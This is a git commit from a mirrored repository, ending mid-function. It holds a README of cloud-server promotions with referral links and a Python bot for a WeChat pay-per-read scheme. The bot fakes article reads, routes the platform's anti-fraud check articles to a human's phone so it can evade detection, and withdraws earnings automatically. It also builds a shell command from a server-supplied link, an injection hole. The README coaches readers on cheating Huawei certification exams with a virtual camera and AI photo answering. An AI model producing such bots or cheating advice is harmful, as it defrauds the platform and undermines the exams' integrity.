mirror of
https://github.com/KingJin-web/zy.git
synced 2025-12-16 15:09:31 +08:00
初始化
This commit is contained in:
37
.gitignore
vendored
Normal file
37
.gitignore
vendored
Normal file
@@ -0,0 +1,37 @@
|
||||
HELP.md
|
||||
target/
|
||||
!.mvn/wrapper/maven-wrapper.jar
|
||||
!**/src/main/**/target/
|
||||
!**/src/test/**/target/
|
||||
push.sh
|
||||
/encryptor/
|
||||
/a_test/
|
||||
test/
|
||||
本地运行/
|
||||
### STS ###
|
||||
.apt_generated
|
||||
.classpath
|
||||
.factorypath
|
||||
.project
|
||||
.settings
|
||||
.springBeans
|
||||
.sts4-cache
|
||||
|
||||
### IntelliJ IDEA ###
|
||||
.idea
|
||||
*.iws
|
||||
*.iml
|
||||
*.ipr
|
||||
|
||||
### NetBeans ###
|
||||
/nbproject/private/
|
||||
/nbbuild/
|
||||
/dist/
|
||||
/nbdist/
|
||||
/.nb-gradle/
|
||||
build/
|
||||
!**/src/main/**/build/
|
||||
!**/src/test/**/build/
|
||||
|
||||
### VS Code ###
|
||||
.vscode/
|
||||
105
README.md
Normal file
105
README.md
Normal file
@@ -0,0 +1,105 @@
|
||||
|
||||
|
||||
|
||||
|
||||
# 服务器大促
|
||||
|
||||
云服务器其实不管是新用户,还是老用户,其实都有比较大的优惠和折扣的,比如很少有原价续费或者原价购买服务器的情况,比如活动期间针对新用户或者是老用户都是有比较大的优惠的。这里将介绍各大厂商的现价优惠,`最后还有免费白嫖机`
|
||||
|
||||
## 1. 腾讯云
|
||||
|
||||
### 新用户专享,机不可失!
|
||||
|
||||
立即抢购轻量应用服务器,新用户专享0.5折秒杀优惠,仅限一次!
|
||||
轻量 4核4G3M:每年仅需**38**元,3M带宽,40GB SSD盘,300GB月流量,轻松应对日常需求
|
||||
|
||||

|
||||
|
||||
太难抢?没关系下方可直接购买性价比也很高。68/年的2核2G3M、78/年的4核4G3M 性价比也是极高
|
||||
|
||||

|
||||
|
||||
活动地址:
|
||||
**https://curl.qcloud.com/qO3jAlGu**
|
||||
|
||||
### 红包叠加
|
||||
|
||||
复制粘贴到微信打开开红包叠加优惠
|
||||
|
||||
```
|
||||
#小程序://腾讯云会员/c9m4Z7j7RAEShxn
|
||||
```
|
||||
|
||||
## 2. 阿里云
|
||||
|
||||
热推机型,99元和199元2款服务器,性价比非常高,可以闭眼入。不限流量,并且续费同价,续费不涨价,新老用户都能买。中高端配置的服务器,也有很大的优惠力度的。*现在新用户还有38/年的秒杀机型*
|
||||
|
||||

|
||||
|
||||
**69**元/年的2H2G200 峰值带宽轻量云也是很不错的
|
||||
|
||||
建议:买完马上续费一次,也是99元,明年还可以99元续费。点击下方链接领取八五折券折上折
|
||||
|
||||

|
||||
|
||||
地址:
|
||||
**[http://util.hnking.cn/api/short/I8zePM](http://util.hnking.cn/api/short/I8zePM)**
|
||||
|
||||
备用地址:
|
||||
**[https://www.aliyun.com/minisite/goods?userCode=t6jlywqr](https://www.aliyun.com/minisite/goods?userCode=t6jlywqr)**
|
||||
|
||||
## 3. 京东云
|
||||
|
||||
爆款云主机2C2G3M 低至**55**元/年,即开即用,限量秒杀 (可选三年388元),轻量云主机2核4G5M配置**149**元/年,**618** 元/3年,还有很多价格都很合适的,包括云电脑,数据库等产品众多。
|
||||

|
||||
|
||||
地址:
|
||||
https://3.cn/-2mBxyyr
|
||||
|
||||
# 4. 华为云
|
||||
|
||||
至高10000元云资源券活动入口
|
||||
|
||||
```
|
||||
https://util.hnking.cn/api/short/TL61gy
|
||||
```
|
||||
|
||||
活动参加步骤
|
||||
|
||||
1.点击链接报名参加 → 2.领取微认证代金券 → 3.支付1元够买微认证 → 4.参加考试 → 5.通过考试积分兑换云资源代金券 → 6.云资源代金券购买服务器
|
||||
|
||||
活动详情请看
|
||||
|
||||
```
|
||||
https://img.hnking.cn/
|
||||
```
|
||||
|
||||
活动注意事项
|
||||
|
||||
- 活动获取的云资源代金券,不能用于特价商品。即不能购买38/年-68/年等优惠的服务器。
|
||||
- 参加1门考试,通过得2积分兑换100元代金券;若参加7门得14积分,可兑换700元代金券。最高可得1000元代金券。每门大约20分钟,7门共需2-3小时。
|
||||
- 700元代金券可购买,2核2G2M服务器21个月;1000元购买30个月
|
||||
- 实名账号,PC端人脸摄像头考试。(可用手机虚拟摄像头)
|
||||
- 参加考试非常简单,把摄像头抬高。拿手机豆包拍照答题即可。小白也能完成。
|
||||
- 积分兑换代金券只能1次,参加完你的目标考试后再去兑换。注意兑换时间截止到8月12日:18:00。
|
||||
|
||||
## 五、免费活动
|
||||
|
||||
## 阿里云
|
||||
|
||||
活动链接 [http://util.hnking.cn/api/short/EGP0q8](http://util.hnking.cn/api/short/EGP0q8)
|
||||
|
||||
阿里云高校学生300元代金券开放领取
|
||||
|
||||
活动说明:
|
||||
|
||||
- 本次代金券仅限活动页面指定服务使用;
|
||||
- 需通过支付宝完成学生认证,全日制或非全日制高校学生均可参与;
|
||||
- 上次领取时间满1年后才可再次领取,可查看历史记录确认;
|
||||
|
||||
注意事项:
|
||||
|
||||
领取后请尽快使用,以免过期!
|
||||
|
||||

|
||||
还是非常香的
|
||||
540
decode/1.py
Normal file
540
decode/1.py
Normal file
@@ -0,0 +1,540 @@
|
||||
"""
|
||||
📖 小阅阅_V5.5 ♻20250813
|
||||
|
||||
✅ 新增:支持多渠道推送,请在青龙配置文件 config.sh 中添加必要的推送参数,并将变量中的token参数设置为000(详见下方参数说明)。(建议使用脚本自带pushplus推送,更稳定)。
|
||||
✅ 完善检测文章。
|
||||
✅ 修改bug,完善多渠道推送。
|
||||
|
||||
🔔阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。(打开活动页时请无视微信的安全提示)
|
||||
|
||||
👉活动入口 微信打开:http://2121430.k4f1.sanming0.cn/yyiyase/f56fb7c54f55edd1b77d23b3577da92b?ukd=88 备用链接:https://tinyurl.com/5t3yhsfm https://tinyurl.com/2tc96zpc 最新地址获取:https://tinyurl.com/27y64eve
|
||||
|
||||
👉建议将链接添加至微信收藏(微信_我_收藏_⊕_粘贴),并添加到悬浮窗,方便进入活动主页。
|
||||
|
||||
⚠️进入后点击永久入口,保存二维码,当链接失效时扫码获取最新链接!
|
||||
|
||||
⚠️本脚本会通过(pushplus推送加或其他渠道)发送检测文章到用户手机过检测。为什么要读检测文章?因为活动方要通过个别检测文章阅读数的增加来判断用户阅读的有效性,所以必须真机阅读,脚本的模拟阅读不会增加阅读数。每个账号每天180篇中可能有3篇左右的检测文章。
|
||||
|
||||
⚠️用于阅读检测文章的微信号,每天运行脚本前务必从公众号(订阅号)阅读两篇文章,否则可能会触发微信风控,导致阅读无效过检测失败。禁止用真机+自动点击器阅读,否则同样触发微信风控,导致阅读无效。(当触发微信风控导致阅读无效后可能要几周或几个月解封,期间可以将检测文章推送至其他微信号过检测)
|
||||
|
||||
⚠️收到消息不弹窗?在pushplus回复“激活消息”将在48小时内连续5条消息以“客服消息”形式发送,此时可以收到微信弹窗提醒,否则将以“模板消息”形式发送消息,此时只有在微信主页或pushplus主页才能收到消息提醒。(详情点击“激活消息有什么用?”)。🔔当收到5条(客服消息)形式弹窗后重新发送“激活消息”可再次激活(客服消息)。
|
||||
|
||||
⚠️如微信没有接收到检测文章消息或消息延迟,可以把链接粘贴到微信的“文件传输助手”或“收藏”再点击阅读!
|
||||
|
||||
❗❗❗重要提示:本脚本只限新用户通过上方链接绑定指定id使用,或老用户上级id尾号为4981,其他非受邀用户均不可使用。
|
||||
|
||||
❗❗❗期间要时常用真机访问活动主页并阅读,同时每天任务不建议跑满,避免被活动方查出异常封号!
|
||||
|
||||
参数:
|
||||
1、用“pushplus推送加”接收检测文章,微信公众号关注“pushplus推送加”,点击pushplus进入到官网首页注册实名并激活消息,获取您的token口令填写到变量。
|
||||
2、打开抓包软件并用小阅阅读文章,抓出Cookie里的ysmuid和请求体里的unionid,以及请求头中的User-Agent参数。
|
||||
3、如果您使用其他平台作为推送渠道请将token参数设置为000,例:5a68xxx&oZdBpxxx&000。如果使用pushplus推送正常填写token参数即可。
|
||||
|
||||
变量名:xyy
|
||||
变量值:5a68xxxxxxx&oZdBpxxxxxxx&ff2cdxxxxxxx
|
||||
|
||||
变量格式:ysmuid & unionid & token
|
||||
多账号格式:ysmuid & unionid & token @ ysmuid & unionid & token
|
||||
|
||||
多账号:账号1@账号2@账号3
|
||||
例:5a68xxx&oZdBpxxx&ff2cdxxx@5a68xxx&oZdBpxxx&ff2cdxxx
|
||||
|
||||
变量名: UA (为请求头中的User-Agent参数)
|
||||
变量值:Mozilla/5.0 iPhonexxxxxxx
|
||||
|
||||
变量名:xyytx
|
||||
变量值:1
|
||||
自动提现 1开启 0关闭 (不配置变量默认不自动提现,开启后满5000金币自动提现)
|
||||
|
||||
定时:
|
||||
自动定时规则cron: 0 7-23/3 * * * (每天7-23点每3小时一次),期间注意接收微信通知,阅读检测文章
|
||||
手动定时规则cron: 0 手动运行脚本,期间注意接收微信通知,阅读检测文章
|
||||
|
||||
更多脚本关注仓库:https://wwgz.lanzoue.com/b0ec064he 密码:2580
|
||||
|
||||
本脚本仅供学习交流,请在下载后的24小时内完全删除 请勿用于商业用途或非法目的,否则后果自负。
|
||||
"""
|
||||
|
||||
import re
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
import requests
|
||||
import threading
|
||||
from urllib.parse import urljoin
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
from requests.exceptions import RequestException
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
# 实时日志
|
||||
def log_message(message, flush=False):
|
||||
print(f"{message}", flush=flush)
|
||||
|
||||
# 主程序
|
||||
def process_account(account, i):
|
||||
max_retries = 1
|
||||
uas = account.split("&")[0][-3:]
|
||||
token = account.split("&")[2]
|
||||
ysmuid, unionid = account.split("&")[:2]
|
||||
# 获取域名
|
||||
current_url = requests.get("https://www.filesmej.cn/waidomain.php", timeout=5).json()["data"]["luodi"]
|
||||
session = requests.Session()
|
||||
headers = {
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
for _ in range(11):
|
||||
try:
|
||||
parsed = urlparse(current_url)
|
||||
headers["Host"] = parsed.netloc
|
||||
response = session.get(current_url, headers=headers, allow_redirects=False, timeout=10)
|
||||
if response.status_code in (301, 302, 303, 307, 308):
|
||||
current_url = urljoin(current_url, response.headers.get("Location", ""))
|
||||
else:
|
||||
break
|
||||
except (requests.RequestException, requests.exceptions.InvalidURL) as e:
|
||||
print(f"❗重定向错误: {e}", flush=True)
|
||||
break
|
||||
try:
|
||||
parsed_domain = urlparse(current_url).netloc.lstrip("www.")
|
||||
except Exception as e:
|
||||
print(f"❗域名获取失败: {e}", flush=True)
|
||||
# 上级id
|
||||
codeid = lambda: (
|
||||
(match.group(1) if (match := re.compile(r'codeid\s*=\s*"(\d+)"').search(
|
||||
requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0",
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
)) else print(f"❗警告:未找到codeid \n❗检查活动页面是否正常,切勿反复运行", flush=True))
|
||||
if not any([
|
||||
print(f"❗网络请求失败: {e}", flush=True) if isinstance(e, requests.RequestException) else
|
||||
print(f"❗正则错误: {e}", flush=True) if isinstance(e, re.error) else
|
||||
print(f"❗未知错误: {e}", flush=True) for e in [Exception][:0]
|
||||
]) else None
|
||||
)
|
||||
codeid = codeid()
|
||||
# 用户id
|
||||
extract_dynamic_id = lambda: (
|
||||
(match.group(1) if (match := re.compile(r'我的id:(\d+)').search(
|
||||
requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0",
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
)) else print("❗警告:未找到ID", flush=True))
|
||||
if not any([
|
||||
print(f"❗网络请求失败: {e}", flush=True) if isinstance(e, requests.RequestException) else
|
||||
print(f"❗正则错误: {e}", flush=True) if isinstance(e, re.error) else
|
||||
print(f"❗未知错误: {e}", flush=True) for e in [Exception][:0]
|
||||
]) else None
|
||||
)
|
||||
# 开始阅读
|
||||
print(f"\n{'=' * 10}🔰开始执行账号{i}🔰{'=' * 10}\n", flush=True)
|
||||
exit(print("❗您不是受邀用户,程序终止", flush=True)) if not codeid or int(codeid) not in {693874981} else print("👌 账号验证成功", flush=True)
|
||||
time.sleep(1)
|
||||
url = f"http://{parsed_domain}/yunonline/v1/gold"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"http://{parsed_domain}/",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}; ejectCode=1"
|
||||
}
|
||||
params = {
|
||||
"unionid": f"{unionid}",
|
||||
"time": int(time.time() * 1000)
|
||||
}
|
||||
response = requests.get(url, headers=headers, params=params).json()
|
||||
if response["errcode"] == 0:
|
||||
day_gold = response["data"]["day_gold"]
|
||||
day_read = response["data"]["day_read"]
|
||||
last_gold = response["data"]["last_gold"]
|
||||
remain_read = response["data"]["remain_read"]
|
||||
print(f"🙍 ID:{extract_dynamic_id()}", flush=True)
|
||||
print(f"💰 当前金币:{last_gold}\n📖 今日已读:{day_read} 剩余:{remain_read}", flush=True)
|
||||
print("🔔 自动提现已关闭" if money_Withdrawal == 0 else "🔔 自动提现已开启", flush=True)
|
||||
print(f"{'=' * 10}📖开始阅读文章📖{'=' * 10}\n", flush=True)
|
||||
for i in range(33):
|
||||
current_timestamp = int(time.time() * 1000)
|
||||
checkDict = [
|
||||
"MzkzMTYyMDU0OQ==",
|
||||
"Mzk0NDcxMTk2MQ==",
|
||||
"MzkzNTYxOTgyMA==",
|
||||
"MzkzNDYxODY5OA==",
|
||||
"MzkwNzYwNDYyMQ==",
|
||||
"MzkyNjY0MTExOA==",
|
||||
"MzkwMTYwNzcwMw==",
|
||||
"Mzg4NTcwODE1NA==",
|
||||
"MzkyMjYxNzQ2NA==",
|
||||
"Mzk4ODQzNjU1OQ==",
|
||||
"MzkyMTc0MDU5Nw==",
|
||||
"Mzk5MDc1MDQzOQ==",
|
||||
"Mzk4ODQzNzU3NA==",
|
||||
]
|
||||
time.sleep(1)
|
||||
url = f"http://{parsed_domain}/wtmpdomain2"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Origin": f"http://{parsed_domain}",
|
||||
"Referer": f"http://{parsed_domain}/?inviteid=0",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid};ejectCode=1"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionid
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.post(url, headers=headers, data=data, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print(e, flush=True)
|
||||
if retry < max_retries - 1:
|
||||
print("❗状态1异常,尝试重新发送请求...", flush=True)
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗达到最大重试次数,退出", flush=True)
|
||||
break
|
||||
if response["errcode"] == 0:
|
||||
time.sleep(1)
|
||||
parsed_url = response['data']['domain']
|
||||
url_parts = urlparse(parsed_url)
|
||||
gt = parse_qs(url_parts.query).get('gt', [''])[0]
|
||||
new_url = f"{url_parts.scheme}://{url_parts.netloc}/sdaxeryy?gt={gt}&time={current_timestamp}&psgn=168&vs=120"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(new_url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print(e, flush=True)
|
||||
if retry < max_retries - 1:
|
||||
print("❗状态2异常,尝试重新发送请求...", flush=True)
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗达到最大重试次数,退出", flush=True)
|
||||
break
|
||||
if response["errcode"] == 0:
|
||||
link = response['data']['link']
|
||||
if link:
|
||||
biz_match = re.search(r'__biz=([^&]+)', link)
|
||||
biz = biz_match.group(1) if biz_match else "❗未知来源文章"
|
||||
sleep = random.randint(8, 25)
|
||||
delay = random.randint(120, 135)
|
||||
print(f"✅ 第{int(day_read)+ i + 1}篇文章获取成功---文章来源--- {biz}", flush=True)
|
||||
print(f"📖 开始阅读: {link}", flush=True)
|
||||
if biz == "❗未知来源文章" or biz in checkDict:
|
||||
print(f"❗❗❗发现检测文章--- {biz}", flush=True)
|
||||
if token == "000":
|
||||
config_ret = os.system("source /ql/config/config.sh")
|
||||
if config_ret != 0:
|
||||
print("⚠️ 错误:加载配置文件失败!")
|
||||
else:
|
||||
notify_cmd = f'notify "⚠️ 小阅阅检测文章!请在120s内完成阅读!" \'<a href="\n{link}\n"target="_blank">👉点击阅读8s以上并返回\n{link}\n\''
|
||||
notify_ret = os.system(notify_cmd)
|
||||
if notify_ret == 0:
|
||||
print("❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗120s后继续运行…", flush=True)
|
||||
else:
|
||||
print(f"❌ 通知发送失败,错误码: {notify_ret}")
|
||||
else:
|
||||
url = "http://www.pushplus.plus/send"
|
||||
data = {
|
||||
"token": token,
|
||||
"title": "⚠️ 小阅阅检测文章!请在120s内完成阅读!",
|
||||
"content": f'<a href="\n{link}\n"target="_blank">👉点击阅读8s以上并返回\n{link}\n',
|
||||
"template": "html"
|
||||
}
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
response = requests.post(url, data=data).json()
|
||||
if response.get("code") == 200:
|
||||
print("❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗120s后继续运行…", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗❗❗检测文章推送失败", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗❗❗推送请求异常:{str(e)}", flush=True)
|
||||
response = None
|
||||
if attempt < max_retries - 1 and (not response or response.get("code") != 200):
|
||||
print("❗❗❗正在尝试重新推送...", flush=True)
|
||||
time.sleep(3.5)
|
||||
else:
|
||||
print(f"❗❗❗推送失败原因:{response.get('msg')}", flush=True)
|
||||
exit()
|
||||
time.sleep(delay)
|
||||
url = f"{url_parts.scheme}://{url_parts.netloc}/jinbicp?gt={gt}&time={sleep}×tamp={current_timestamp}"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print('❗提交状态异常', flush=True)
|
||||
print(e)
|
||||
if response["errcode"] == 0:
|
||||
gold = response['data']['gold']
|
||||
print(f"✅ 第{i + 1}次阅读检测文章成功---获得金币:💰{gold}💰", flush=True)
|
||||
print(f"{'-' * 60}\n")
|
||||
else:
|
||||
print(f"❗❗❗过检测失败\n{response}", flush=True)
|
||||
break
|
||||
else:
|
||||
time.sleep(sleep)
|
||||
url = f"{url_parts.scheme}://{url_parts.netloc}/jinbicp?gt={gt}&time={sleep}×tamp={current_timestamp}"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print("❗提交状态异常", flush=True)
|
||||
print(e)
|
||||
if response["errcode"] == 0:
|
||||
gold = response["data"]["gold"]
|
||||
print(f"📖 本次模拟阅读{sleep}秒", flush=True)
|
||||
print(f"✅ 第{i + 1}次阅读成功---获得金币:💰{gold}💰", flush=True)
|
||||
print(f"{'-' * 60}\n")
|
||||
else:
|
||||
print(f"❗阅读文章失败,请尝试重新运行\n{response}", flush=True)
|
||||
break
|
||||
else:
|
||||
print("❗未找到link")
|
||||
elif response["errcode"] == 405:
|
||||
print(f"❗{response}", flush=True)
|
||||
print(f"❗请尝试重新运行", flush=True)
|
||||
break
|
||||
elif response["errcode"] == 407:
|
||||
if '<br />1、' in response["msg"]:
|
||||
first_part = response["msg"].split('<br />1、', 1)[0]
|
||||
first_rule = response["msg"].split('<br />1、', 1)[1].split('<br />')[0].strip()
|
||||
print(f"❗{first_part}", flush=True)
|
||||
print(f"❗{first_rule}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗{response['msg']}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"⚠️ 未知错误 {response['errcode']}: {response}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗获取文章失败{response}", flush=True)
|
||||
break
|
||||
# 提现
|
||||
if money_Withdrawal == 1:
|
||||
if int(last_gold) > 5000:
|
||||
print(f"{'=' * 12}💰开始提现💰{'=' * 12}\n", flush=True)
|
||||
url = f"http://{parsed_domain}"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Cache-Control": "max-age=0",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
response = requests.get(url, headers=headers).text
|
||||
res1 = re.sub('\s', '', response)
|
||||
exchangeUrl = re.findall('"target="_blank"href="(.*?)">提现<', res1)
|
||||
eurl = exchangeUrl[0]
|
||||
query_dict = parse_qs(urlparse(exchangeUrl[0]).query)
|
||||
unionids = query_dict.get('unionid', [''])[0]
|
||||
request_id = query_dict.get('request_id', [''])[0]
|
||||
b = urlparse(eurl)
|
||||
host=b.netloc
|
||||
url = f"http://{host}/yunonline/v1/gold"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}; ejectCode=1"
|
||||
}
|
||||
params = {
|
||||
"unionid": f"{unionid}",
|
||||
"time": int(time.time() * 1000)
|
||||
}
|
||||
response = requests.get(url, headers=headers, params=params).json()
|
||||
if response["errcode"] == 0:
|
||||
last_gold = response["data"]["last_gold"]
|
||||
gold = int(int(last_gold) / 1000) * 1000
|
||||
url = f"http://{host}/yunonline/v1/user_gold"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionids,
|
||||
"request_id": request_id,
|
||||
"gold": gold,
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data).json()
|
||||
print(f"💰 当前可提现:{gold}", flush=True)
|
||||
url = f"http://{host}/yunonline/v1/withdraw"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Connection": "keep-alive",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionids,
|
||||
"signid": request_id,
|
||||
"ua": "2",
|
||||
"ptype": "0",
|
||||
"paccount": "",
|
||||
"pname": ""
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data)
|
||||
data = response.json()
|
||||
if data["errcode"] == 0:
|
||||
print("💰 恭喜您,提现成功!\n", flush=True)
|
||||
else:
|
||||
print(f"❗{response}", flush=True)
|
||||
else:
|
||||
print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print("🔔 金币不足5000,不执行提现\n", flush=True)
|
||||
elif money_Withdrawal == 0:
|
||||
print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print(f"🔔 自动提现已关闭,不执行提现\n", flush=True)
|
||||
else:
|
||||
print(f"❗获取用户信息失败", flush=True)
|
||||
exit()
|
||||
|
||||
|
||||
def notice():
|
||||
try:
|
||||
print(requests.get("https://gitee.com/gngkj/wxyd/raw/master/label.txt", timeout=5).text)
|
||||
except requests.RequestException as e:
|
